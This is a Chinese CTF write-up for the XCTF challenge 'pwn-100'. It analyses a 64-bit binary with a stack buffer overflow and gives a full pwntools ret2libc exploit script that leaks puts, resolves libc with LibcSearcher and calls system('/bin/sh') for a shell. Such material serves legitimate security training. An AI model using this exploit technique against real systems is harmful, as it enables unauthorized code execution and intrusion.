攻防世界PWN题 pwn-100
checksec 检查
结果如下
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
分析函数
拖进 ida 里可以发现,该程序的调用链为 main->sub_40068E->sub_40063D,下面来分析一下后两个函数
sub_40063D
__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
__int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i >= a2 )
break;
read(0, (void *)((signed int)i + a1), 1uLL);
}
return result;
}
可以看到,该函数以 a1 的内容作为缓冲区的首地址,共读取 a2 个字节
sub_40068E
int sub_40068E()
{
char v1; // [rsp+0h] [rbp-40h]
sub_40063D((__int64)&v1, 200);
return puts("bye~");
}
可以看到,函数以 v1 的地址和 200 作为参数调用了 sub_40063D ,根据前面的分析可知,这是在向 v1 所指定的缓冲区中读取并写入 200 个字节的内容,而 v1 的空间仅有 40h 大小,可知这里存在着 bof 漏洞
思路
既然存在着 bof 漏洞,那么我们就有能力劫持程序的执行流;但是查看文件内的函数后可以发现,其本身并不存在着诸如 system 的敏感函数或 '/bin/sh' 的敏感字符串,所以初步判断这是一个 ret2libc 的题型,我们需要泄露出 libc 中某个函数的地址,从而根据偏移来获得 system 和 '/bin/sh' 的地址并调用之
但是和之前的题不同,首先这是一道 64 位的题,其次我们并没有 libc 的样本,也就无从得知具体的偏移;第一个问题导致我们在调用一个函数时,需要控制一些寄存器的值(64位的调用规约规定前6个参数放在寄存器中),这里的解决方式是利用 gadget ;而对于第二个问题,这里的解决方式是使用 LibcSearcher 库;两者详细的内容请参阅 ctf-wiki 进行学习
所以我们最终的思路是,调用 puts 函数来获得某个库函数的地址(这里选用 puts 函数),调用时使用 gadget 来控制寄存器从而传递参数,然后利用 LibcSearcher 来获得 system 和 /bin/sh 的地址,用它们覆盖返回地址后使程序的流程到达之,从而开启 interactive 模式
具体exp
from pwn import *
from sys import argv
from LibcSearcher import *
context(os='linux', arch='amd64')
#context.log_level = 'debug'
if argv[1] == 'local':
p = process('./pwn100')
elif argv[1] == 'remote':
ip, port = argv[2].split(':')
p = remote(ip, int(port))
elf = ELF('./pwn100')
pop_rdi = 0x0000000000400763
payload = flat(['a'*0x48, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x40068E])
payload += b'a'*(200-len(payload))
p.send(payload)
print(p.recvuntil('\n'))
tmp = p.recvuntil('\n')[:-1]
puts_addr = u64(tmp + b'\x00'*(8-len(tmp)))
#p.interactive()
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc.dump('system') + libc_base
sh_addr = libc.dump("str_bin_sh") + libc_base
#print("system: ", libc.dump('system'))
#print("/bin/sh:", libc.dump('str_bin_sh'))
payload = flat(['a'*0x48, pop_rdi, sh_addr, puts_addr, pop_rdi, sh_addr, system_addr])
payload += b'\x00'*(200-len(payload))
p.sendline(payload)
#print(p.recv())
p.interactive()
如果读者认真看了上面给出的 ctf-wiki 的内容,那么这个 exp 就很容易理解了,所以这里仅给出 0x0000000000400763 和 0x40068E 两个地址的含义
第二个地址可以从 ida 里找到,可以发现是函数 sub_40068E 的开始地址,这里是在调用了 puts 函数输出 puts 的地址后控制程序流程返回至函数 sub_40068E 中,从而获得第二次使用 bof 漏洞的机会
第一个地址是使用 ROPgadget 工具搜索到的 pop rdi ; ret
语句的地址,因为我们需要这两条语句将栈中随后的两个内容分别作为 rdi 的内容和返回地址来处理,搜索的方法可以使用诸如 ROPgadget --binary pwn100 --only "pop|ret"
的语句,其具体使用方法可通过 --help
选项来查看